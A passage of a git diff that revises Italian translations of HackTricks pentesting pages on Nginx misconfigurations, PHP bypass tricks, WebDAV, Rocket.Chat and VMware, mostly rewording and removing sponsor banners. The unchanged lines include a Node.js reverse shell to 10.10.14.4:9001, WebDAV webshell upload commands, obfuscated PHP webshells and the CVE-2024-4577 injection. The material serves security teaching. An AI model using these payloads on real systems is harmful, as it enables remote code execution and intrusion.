-Questa configurazione è soggetta ad attacchi LFI a causa del server che interpreta le richieste come `/imgs../flag.txt` come un tentativo di accedere a file al di fuori della directory prevista, risolvendo effettivamente in `/path/images/../flag.txt`. Questo difetto consente agli attaccanti di recuperare file dal filesystem del server che non dovrebbero essere accessibili tramite il web.
+Questa configurazione è soggetta ad attacchi LFI a causa del server che interpreta richieste come `/imgs../flag.txt` come un tentativo di accedere a file al di fuori della directory prevista, risolvendo effettivamente in `/path/images/../flag.txt`. Questo difetto consente agli attaccanti di recuperare file dal filesystem del server che non dovrebbero essere accessibili tramite il web.
 
-Per mitigare questa vulnerabilità, la configurazione dovrebbe essere modificata in:
+Per mitigare questa vulnerabilità, la configurazione dovrebbe essere modificata per:
 ```
 location /imgs/ {
 alias /path/images/;
@@ -98,14 +91,14 @@ Connection: keep-alive
 Location: https://example.com/
 Detectify: clrf
 ```
-Scopri di più sui rischi dell'iniezione CRLF e della divisione della risposta su [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
+Scopri di più sui rischi dell'iniezione CRLF e della suddivisione della risposta su [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
 
 Inoltre, questa tecnica è [**spiegata in questo intervento**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) con alcuni esempi vulnerabili e meccanismi di rilevamento. Ad esempio, per rilevare questa misconfigurazione da una prospettiva blackbox, potresti utilizzare queste richieste:
 
 - `https://example.com/%20X` - Qualsiasi codice HTTP
 - `https://example.com/%20H` - 400 Bad Request
 
-Se vulnerabile, il primo restituirà "X" poiché è qualsiasi metodo HTTP e il secondo restituirà un errore poiché H non è un metodo valido. Quindi il server riceverà qualcosa come: `GET / H HTTP/1.1` e questo attiverà l'errore.
+Se vulnerabile, il primo restituirà "X" come qualsiasi metodo HTTP e il secondo restituirà un errore poiché H non è un metodo valido. Quindi il server riceverà qualcosa come: `GET / H HTTP/1.1` e questo attiverà l'errore.
 
 Altri esempi di rilevamento potrebbero essere:
 
@@ -142,9 +135,9 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar
 ```
 Scans per questa misconfigurazione su sistemi hanno rivelato molteplici istanze in cui le variabili Nginx potevano essere stampate da un utente. Tuttavia, una diminuzione del numero di istanze vulnerabili suggerisce che gli sforzi per risolvere questo problema sono stati in qualche modo efficaci.
 
-## Lettura della risposta raw del backend
+## Lettura della risposta backend grezza
 
-Nginx offre una funzionalità tramite `proxy_pass` che consente l'intercettazione di errori e intestazioni HTTP prodotte dal backend, con l'obiettivo di nascondere messaggi di errore e intestazioni interni. Questo viene realizzato da Nginx servendo pagine di errore personalizzate in risposta agli errori del backend. Tuttavia, sorgono sfide quando Nginx incontra una richiesta HTTP non valida. Tale richiesta viene inoltrata al backend così com'è ricevuta, e la risposta raw del backend viene quindi inviata direttamente al client senza l'intervento di Nginx.
+Nginx offre una funzionalità tramite `proxy_pass` che consente l'intercettazione di errori e intestazioni HTTP prodotte dal backend, con l'obiettivo di nascondere messaggi di errore e intestazioni interni. Questo viene realizzato da Nginx servendo pagine di errore personalizzate in risposta agli errori del backend. Tuttavia, sorgono sfide quando Nginx incontra una richiesta HTTP non valida. Tale richiesta viene inoltrata al backend così com'è ricevuta, e la risposta grezza del backend viene quindi inviata direttamente al client senza l'intervento di Nginx.
 
 Considera un esempio di scenario che coinvolge un'applicazione uWSGI:
 ```python
@@ -161,19 +154,19 @@ proxy_hide_header Secret-Header;
 }
 ```
 - [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Questa direttiva consente a Nginx di servire una risposta personalizzata per le risposte del backend con un codice di stato superiore a 300. Garantisce che, per il nostro esempio di applicazione uWSGI, una risposta `500 Error` venga intercettata e gestita da Nginx.
-- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Come suggerisce il nome, questa direttiva nasconde gli header HTTP specificati dal client, migliorando la privacy e la sicurezza.
+- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Come suggerisce il nome, questa direttiva nasconde intestazioni HTTP specificate dal client, migliorando la privacy e la sicurezza.
 
-Quando viene effettuata una richiesta `GET` valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare alcun header segreto. Tuttavia, una richiesta HTTP non valida bypassa questo meccanismo, risultando nell'esposizione delle risposte raw del backend, inclusi header segreti e messaggi di errore.
+Quando viene effettuata una richiesta `GET` valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare intestazioni segrete. Tuttavia, una richiesta HTTP non valida bypassa questo meccanismo, risultando nell'esposizione di risposte backend grezze, comprese intestazioni segrete e messaggi di errore.
 
 ## merge_slashes impostato su off
 
-Per impostazione predefinita, la **direttiva `merge_slashes` di Nginx** è impostata su **`on`**, il che comprime più barre oblique in un URL in una singola barra. Questa funzionalità, pur semplificando l'elaborazione degli URL, può inavvertitamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette ad attacchi di inclusione di file locali (LFI). Gli esperti di sicurezza **Danny Robinson e Rotem Bar** hanno evidenziato i potenziali rischi associati a questo comportamento predefinito, specialmente quando Nginx funge da reverse-proxy.
+Per impostazione predefinita, la **direttiva `merge_slashes` di Nginx** è impostata su **`on`**, che comprime più barre oblique in un URL in una singola barra. Questa funzionalità, pur semplificando l'elaborazione degli URL, può inavvertitamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette ad attacchi di inclusione di file locali (LFI). Gli esperti di sicurezza **Danny Robinson e Rotem Bar** hanno evidenziato i potenziali rischi associati a questo comportamento predefinito, specialmente quando Nginx funge da reverse-proxy.
 
 Per mitigare tali rischi, si raccomanda di **disattivare la direttiva `merge_slashes`** per le applicazioni suscettibili a queste vulnerabilità. Questo garantisce che Nginx inoltri le richieste all'applicazione senza alterare la struttura dell'URL, evitando così di mascherare eventuali problemi di sicurezza sottostanti.
 
 Per ulteriori informazioni, controlla [Danny Robinson e Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
 
-### **Intestazioni di risposta Maclicious**
+### **Intestazioni di Risposta Maclicious**
 
 Come mostrato in [**questo articolo**](https://mizu.re/post/cors-playground), ci sono alcune intestazioni che, se presenti nella risposta del server web, cambieranno il comportamento del proxy Nginx. Puoi controllarle [**nella documentazione**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
 
@@ -181,11 +174,11 @@ Come mostrato in [**questo articolo**](https://mizu.re/post/cors-playground), ci
 - `X-Accel-Buffering`: Controlla se Nginx deve bufferizzare la risposta o meno.
 - `X-Accel-Charset`: Imposta il set di caratteri per la risposta quando si utilizza X-Accel-Redirect.
 - `X-Accel-Expires`: Imposta il tempo di scadenza per la risposta quando si utilizza X-Accel-Redirect.
-- `X-Accel-Limit-Rate`: Limita il tasso di trasferimento per le risposte quando si utilizza X-Accel-Redirect.
+- `X-Accel-Limit-Rate`: Limita la velocità di trasferimento per le risposte quando si utilizza X-Accel-Redirect.
 
-Ad esempio, l'intestazione **`X-Accel-Redirect`** causerà un **reindirizzamento** interno in nginx. Quindi avere una configurazione nginx con qualcosa come **`root /`** e una risposta dal server web con **`X-Accel-Redirect: .env`** farà sì che nginx invii il contenuto di **`/.env`** (Path Traversal).
+Ad esempio, l'intestazione **`X-Accel-Redirect`** causerà un **redirect** interno in nginx. Quindi avere una configurazione nginx con qualcosa come **`root /`** e una risposta dal server web con **`X-Accel-Redirect: .env`** farà sì che nginx invii il contenuto di **`/.env`** (Path Traversal).
 
-### **Valore predefinito nella direttiva Map**
+### **Valore Predefinito nella Direttiva Map**
 
 Nella **configurazione di Nginx**, la direttiva `map` gioca spesso un ruolo nel **controllo dell'autorizzazione**. Un errore comune è non specificare un valore **predefinito**, il che potrebbe portare a accessi non autorizzati. Ad esempio:
 ```yaml
@@ -270,12 +263,5 @@ Nginxpwner è uno strumento semplice per cercare comuni misconfigurazioni e vuln
 - [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
 - [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index 53e5328b2..c9f4f0c47 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -2,13 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Posizione comune dei cookie:
 
@@ -28,7 +21,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
 ## Bypassare i confronti PHP
 
-### Confronti deboli/Type Juggling ( == )
+### Confronti deboli/Gestione dei tipi ( == )
 
 Se `==` viene utilizzato in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
 
@@ -49,7 +42,7 @@ Ulteriori informazioni in [https://medium.com/swlh/php-type-juggling-vulnerabili
 
 ### **in_array()**
 
-**Type Juggling** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
+**Gestione dei tipi** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
 ```php
 $values = array("apple","orange","pear","grape");
 var_dump(in_array(0, $values));
@@ -70,17 +63,17 @@ Lo stesso errore si verifica con `strcasecmp()`
 
 ### Conversione di tipo rigorosa
 
-Anche se `===` **viene utilizzato**, potrebbero esserci errori che rendono la **comparazione vulnerabile** alla **conversione di tipo**. Ad esempio, se la comparazione **converte i dati in un diverso tipo di oggetto prima di confrontare**:
+Anche se `===` è **utilizzato**, potrebbero esserci errori che rendono la **comparazione vulnerabile** alla **conversione di tipo**. Ad esempio, se la comparazione **sta convertendo i dati in un diverso tipo di oggetto prima di confrontare**:
 ```php
 (int) "1abc" === (int) "1xyz" //This will be true
 ```
 ### preg_match(/^.\*/)
 
-**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **blacklist** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
+**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **lista nera** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
 
 #### Bypass della nuova riga
 
-Tuttavia, quando si delimita l'inizio della regexp `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
+Tuttavia, quando si delimita l'inizio della regexp, `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -116,17 +109,17 @@ Trick da: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
 
 

 
-In breve, il problema si verifica perché le funzioni `preg_*` in PHP si basano sulla [libreria PCRE](http://www.pcre.org/). In PCRE alcune espressioni regolari vengono abbinate utilizzando molte chiamate ricorsive, che consumano molto spazio nello stack. È possibile impostare un limite sul numero di ricorsioni consentite, ma in PHP questo limite [è impostato di default a 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), che è più di quanto possa contenere lo stack.
+In breve, il problema si verifica perché le funzioni `preg_*` in PHP si basano sulla [libreria PCRE](http://www.pcre.org/). In PCRE alcune espressioni regolari vengono abbinate utilizzando molte chiamate ricorsive, che consumano molto spazio nello stack. È possibile impostare un limite sul numero di ricorsioni consentite, ma in PHP questo limite [è impostato di default a 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) che è più di quanto possa contenere lo stack.
 
 [Questo thread di Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) è stato anche collegato nel post dove si parla più in dettaglio di questo problema. Il nostro compito era ora chiaro:\
 **Inviare un input che avrebbe fatto fare 100_000+ ricorsioni all'espressione regolare, causando SIGSEGV, facendo restituire alla funzione `preg_match()` `false`, facendo così pensare all'applicazione che il nostro input non è malevolo, lanciando la sorpresa alla fine del payload qualcosa come `{system()}` per ottenere SSTI --> RCE --> flag :)**.
 
 Bene, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1_000_000 (1M) nella variabile `pcre.backtrack_limit`.\ 
-Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k indietro):
+Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k all'indietro):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 ```
-### Type Juggling per offuscare PHP
+### Type Juggling per offuscamento PHP
 ```php
 $obfs = "1"; //string "1"
 $obfs++; //int 2
@@ -149,21 +142,21 @@ header('Location: /index.php?page=default.html');
 readfile($page);
 ?>
 ```
-## Path Traversal and File Inclusion Exploitation
+## Path Traversal e File Inclusion Exploitation
 
-Check:
+Controlla:
 
 {{#ref}}
 ../../../pentesting-web/file-inclusion/
 {{#endref}}
 
-## More tricks
+## Altri trucchi
 
-- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che sono utilizzate all'interno del codice.
+- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore ad esempio $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che sono utilizzate all'interno del codice.
 - I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
 In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).
 - Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\** per vedere se le directory php sono attivate.
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI e RCE usando wrapper php**](../../../pentesting-web/file-inclusion/)
 
 ### password_hash/password_verify
 
@@ -188,9 +181,9 @@ Consentendo di bypassare, ad esempio, gli header CSP impostati in codici come:
 header("Content-Security-Policy: default-src 'none';");
 if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
-#### Riempire un corpo prima di impostare le intestazioni
+#### Compilare un corpo prima di impostare le intestazioni
 
-Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
+Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP del **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server genererà un errore.\
 Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):
 
 ![](<../../../images/image (1085).png>)
@@ -209,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Controlla questo per altre utili funzioni PHP](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Controlla questo per altre funzioni PHP utili](php-useful-functions-disable_functions-open_basedir-bypass/)
 
 ### **RCE tramite** **preg_replace()**
 ```php
@@ -269,7 +262,7 @@ Per scoprire il numero di parentesi che devi chiudere:
 
 - `?order=id;}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ';'`). Probabilmente ci manca una o più parentesi.
 - `?order=id);}//`: otteniamo un **avviso**. Sembra corretto.
-- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi di chiusura.
+- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi chiuse.
 
 ### **RCE tramite .httaccess**
 
@@ -279,7 +272,7 @@ Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghou
 
 ### RCE tramite variabili Env
 
-Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche questo potrebbe essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**.
+Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**.
 
 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Questa variabile env ti consente di caricare librerie arbitrarie durante l'esecuzione di altri binari (anche se in questo caso potrebbe non funzionare).
 - **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, solitamente chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
@@ -296,7 +289,7 @@ Se trovi una vulnerabilità che ti consente di **modificare le variabili env in
 
 ### XAMPP CGI RCE - CVE-2024-4577
 
-Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) come `php.exe cgi.php foo=bar`, il che consente un'iniezione di parametri. Questo consentirebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo:
+Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) come `php.exe cgi.php foo=bar`, il che consente un'iniezione di parametri. Questo permetterebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo:
 ```jsx
 -d allow_url_include=1 -d auto_prepend_file=php://input
 ```
@@ -356,7 +349,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusando di nuovo $\_GET\["a"]\($\_GET\["b")
+## RCE abusando di new $\_GET\["a"]\($\_GET\["b")
 
 Se in una pagina puoi **creare un nuovo oggetto di una classe arbitraria** potresti essere in grado di ottenere RCE, controlla la seguente pagina per imparare come:
 
@@ -368,7 +361,7 @@ php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
 
 [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
 
-### Utilizzando ottale
+### Usando ottale
 ```php
 $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
 ```
@@ -455,12 +448,4 @@ $____.=$__;
 $_=$$____;
 $___($_[_]); // ASSERT($_POST[_]);
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md
index 86cd2caf8..a230455b4 100644
--- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md
+++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md
@@ -1,24 +1,16 @@
 # WebDav
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
-
 {{#include ../../banners/hacktricks-training.md}}
 
-Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle **credenziali** corrette, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso il **caricamento e l'esecuzione di un webshell**.
+Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso il **caricamento e l'esecuzione di un webshell**.
 
-L'accesso al server WebDav richiede tipicamente **credenziali valide**, con il [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle.
+L'accesso al server WebDav richiede tipicamente **credenziali valide**, con [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle.
 
 Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti:
 
-- **Caricare** file con **estensioni eseguibili** direttamente se non ci sono restrizioni.
+- **Caricare** file con **estensioni eseguibili** direttamente se non sono vietati.
 - **Rinominare** file non eseguibili caricati (come .txt) in un'estensione eseguibile.
-- **Copiare** file non eseguibili caricati, cambiando la loro estensione in una eseguibile.
+- **Copiare** file non eseguibili caricati, cambiando la loro estensione in una che sia eseguibile.
 
 ## DavTest
 
@@ -42,26 +34,18 @@ cadaver 
 curl -T 'shell.txt' 'http://$ip'
 ```
 ## Richiesta MOVE
-```
+```bash
 curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
 ```
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
-
-## Vulnerabilità IIS5/6 WebDav
+## IIS5/6 WebDav Vulnerability
 
 Questa vulnerabilità è molto interessante. Il **WebDav** **non consente** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **bypassare** questo **aggiungendo** alla fine del nome **";.txt"** e il file sarà **eseguito** come se fosse un file .asp (puoi anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
 
-Poi puoi **caricare** la tua shell come un file ".**txt"** e **copiare/spostarlo in un file ".asp;.txt"**. Accedendo a quel file tramite il server web, esso sarà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma ha funzionato).
+Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo in un file ".asp;.txt"**. Accedendo a quel file tramite il server web, esso sarà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma ha funzionato).
 
 ![](<../../images/image (1092).png>)
 
-## Credenziali post
+## Post credentials
 
 Se il Webdav stava usando un server Apache, dovresti controllare i siti configurati in Apache. Comunemente:\
 \&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
@@ -83,7 +67,7 @@ Come puoi vedere, ci sono i file con le **credenziali** valide per il server **w
 ```
 All'interno di questo tipo di file troverai il **nome utente** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti.
 
-Puoi provare a **crackare** queste credenziali, o a **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**:
+Puoi provare a **crackare** queste credenziali, o **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**:
 ```bash
 htpasswd /etc/apache2/users.password  #You will be prompted for the password
 ```
@@ -96,11 +80,3 @@ wget --user  --ask-password http://domain/path/to/webdav/ -O - -q
 - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md
index b95e626c4..030870fc5 100644
--- a/src/network-services-pentesting/pentesting-web/rocket-chat.md
+++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md
@@ -2,20 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## RCE
 
-Se sei admin all'interno di Rocket Chat puoi ottenere RCE.
+Se sei un admin all'interno di Rocket Chat puoi ottenere RCE.
 
 - Vai su **`Integrations`** e seleziona **`New Integration`** e scegli uno qualsiasi: **`Incoming WebHook`** o **`Outgoing WebHook`**.
 - `/admin/integrations/incoming`
 
 

 
-- Secondo la [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), entrambi utilizzano ES2015 / ECMAScript 6 ([fondamentalmente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) per elaborare i dati. Quindi otteniamo una [rev shell per javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) come:
+- Secondo la [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), entrambi usano ES2015 / ECMAScript 6 ([fondamentalmente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) per elaborare i dati. Quindi otteniamo una [rev shell per javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) come:
 ```javascript
 const require = console.log.constructor("return process.mainModule.require")()
 const { exec } = require("child_process")
@@ -36,8 +33,5 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
 
 - Chiamalo con curl e dovresti ricevere la rev shell
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index 3e656e859..c18e0cfb1 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -1,8 +1,5 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 # Enumerazione
 ```bash
@@ -15,9 +12,3 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
 msf> auxiliary/scanner/vmware/vmware_http_login
 ```
 Se trovi credenziali valide, puoi utilizzare ulteriori moduli scanner di metasploit per ottenere informazioni.
-
-

-
-{% embed url="https://websec.nl/" %}
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
index 7cda44cfd..94af9f87d 100644
